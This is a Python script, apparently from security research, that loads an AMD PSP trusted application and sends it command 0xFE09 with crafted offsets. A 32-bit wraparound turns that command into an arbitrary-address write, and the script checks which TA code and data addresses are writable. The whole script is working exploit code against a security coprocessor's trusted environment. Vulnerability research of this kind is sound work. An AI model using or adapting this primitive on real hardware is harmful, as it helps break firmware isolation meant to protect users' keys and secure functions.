#!/usr/bin/env python3
"""Aim GCP FE09's write at an absolute TA virtual address using 32-bit wraparound.

The fault dump's word[4] is the faulting address (two-point test: delta D == delta word[4]),
giving params_VA = 0x04013000 for the shared buffer. The store computes
    target = params_VA + 0x418 + D   (mod 2^32)
so any 32-bit address is nameable:  D = target - 0x4013418  (mod 2^32).

GCP's own image sits at 0x400100.. so this asks whether the primitive can write into TA code
and data. No fault + status 0 means the address was mapped and writable.
"""
import struct, sys
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
FAULT=[getattr(adev,'mmMP0_SMN_C2PMSG_%d'%n) for n in range(82,89)]
def faults(): return tuple(r.read() for r in FAULT)
PARAMS_VA=0x04013000
BASE=PARAMS_VA+0x418
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
app_pa,app_mc=alloc(0x80000)
blob=open('/root/psp/contall/ta_22-0-0-77_7c426e7f.bin','rb').read()
def load(mc,ln=0x4000):
    n=(len(blob)+3)&~3
    adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=mc&0xFFFFFFFF,mc>>32; t.cmd_buf_len=ln
    try:
        r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id
    except Exception as e:
        try: return int(str(e).strip().split()[-1])&0xFFFFFFFF,None
        except Exception: return -1,None
def unload(sid):
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=sid
    try: return psp._ring_submit(c).resp.status&0xFFFFFFFF
    except Exception: return -1
def fe09(sid,pa,disp):
    buf=bytearray(b'\xA5'*0x4000)
    struct.pack_into('<I',buf,0,0xFE09); struct.pack_into('<I',buf,0x10,0)
    for o in (0x414,0x818): struct.pack_into('<I',buf,o,0xFFFFFFFB)
    struct.pack_into('<I',buf,0x820,1); struct.pack_into('<I',buf,0x828,disp&0xFFFFFFFF)
    adev.vram.view(pa,0x4000)[:]=bytes(buf); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,0xFE09
    try: st=psp._ring_submit(c).resp.status&0xFFFFFFFF
    except Exception: st=-1
    return st
f0=faults()
import sys as _s
targets=[('control: buffer+0x100', PARAMS_VA+0x100)] + \
        [('target %s'%a, int(a,0)) for a in _s.argv[1:]]
print('params_VA=%#x  predicted fault addr = target\n'%PARAMS_VA)
print('%-38s %-12s %-10s %s'%('target','D','status','verdict'))
for name,t in targets:
    A,Amc=alloc(0x4000)
    st,sid=load(Amc)
    if st!=0 or sid is None: print('%-38s load %#x'%(name,st)); break
    D=(t-BASE)&0xFFFFFFFF
    st2=fe09(sid,A,D)
    f=faults()
    if st2==-1 or f!=f0:
        fa=f[4] if f!=f0 else None
        v='FAULT addr=%s %s'%(hex(fa) if fa else '?', '(matches target)' if fa==t else '(MISMATCH)')
    elif st2==0:
        v='*** WROTE, no fault -- address is mapped+writable ***'
    else:
        v='TA returned %#x'%st2
    print('%-38s %#-12x %#-10x %s'%(name,D,st2,v), flush=True)
    if st2==-1: break
    unload(sid)